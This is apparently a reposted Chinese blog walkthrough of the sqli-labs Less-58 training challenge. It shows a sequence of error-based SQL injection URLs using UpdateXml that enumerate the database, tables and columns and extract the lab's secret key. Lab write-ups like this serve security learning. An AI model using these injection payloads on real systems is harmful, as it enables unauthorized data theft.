【sqli-labs】 less58 GET -Challenge -Double Query -5 queries allowed -Variation1 (GET型挑战双查询只允许5次查询变化1)

时间：2018-01-31 20:11:20 阅读：173 评论：0 收藏：0 [点我收藏+]

标签：取数据 hal upd for limit 技术 format png sqli

技术分享图片

单引号闭合成功，但是union select结果不对

http://192.168.136.128/sqli-labs-master/Less-58/?id=0‘ union select 1,2,3%23

技术分享图片

id=‘0‘是不出结果的，那数据就不是从数据库取出的

http://192.168.136.128/sqli-labs-master/Less-58/?id=1‘

但是有MYSQL的报错

技术分享图片

那就用报错取数据

http://192.168.136.128/sqli-labs-master/Less-58/?id=1‘ or UpdateXml(1,concat(0x7e,database(),0x7e),1)%23

技术分享图片

http://192.168.136.128/sqli-labs-master/Less-58/?id=1‘ or UpdateXml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘),0x7e),1)%23

技术分享图片

http://192.168.136.128/sqli-labs-master/Less-58/index.php?id=1‘ or UpdateXml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘challenges‘ and table_name=‘SU6MJHL7WA‘),0x7e),1)%23

技术分享图片

http://192.168.136.128/sqli-labs-master/Less-58/index.php?id=1‘ or UpdateXml(1,concat(0x7e,(select secret_C3H8 from SU6MJHL7WA limit 0,1),0x7e),1)%23

技术分享图片

完成

技术分享图片

【sqli-labs】 less58 GET -Challenge -Double Query -5 queries allowed -Variation1 (GET型挑战双查询只允许5次查询变化1)

标签：取数据 hal upd for limit 技术 format png sqli

原文地址：https://www.cnblogs.com/superkrissV/p/8393824.html

踩

(0)

评论一句话评论（0）

分享档案

更多>

2021年07月29日 (22)
2021年07月28日 (40)
2021年07月27日 (32)
2021年07月26日 (79)
2021年07月23日 (29)
2021年07月22日 (30)
2021年07月21日 (42)
2021年07月20日 (16)
2021年07月19日 (90)
2021年07月16日 (35)

周排行

【sqli-labs】 less58 GET -Challenge -Double Query -5 queries allowed -Variation1 (GET型 挑战 双查询 只允许5次查询 变化1)

【sqli-labs】 less58 GET -Challenge -Double Query -5 queries allowed -Variation1 (GET型挑战双查询只允许5次查询变化1)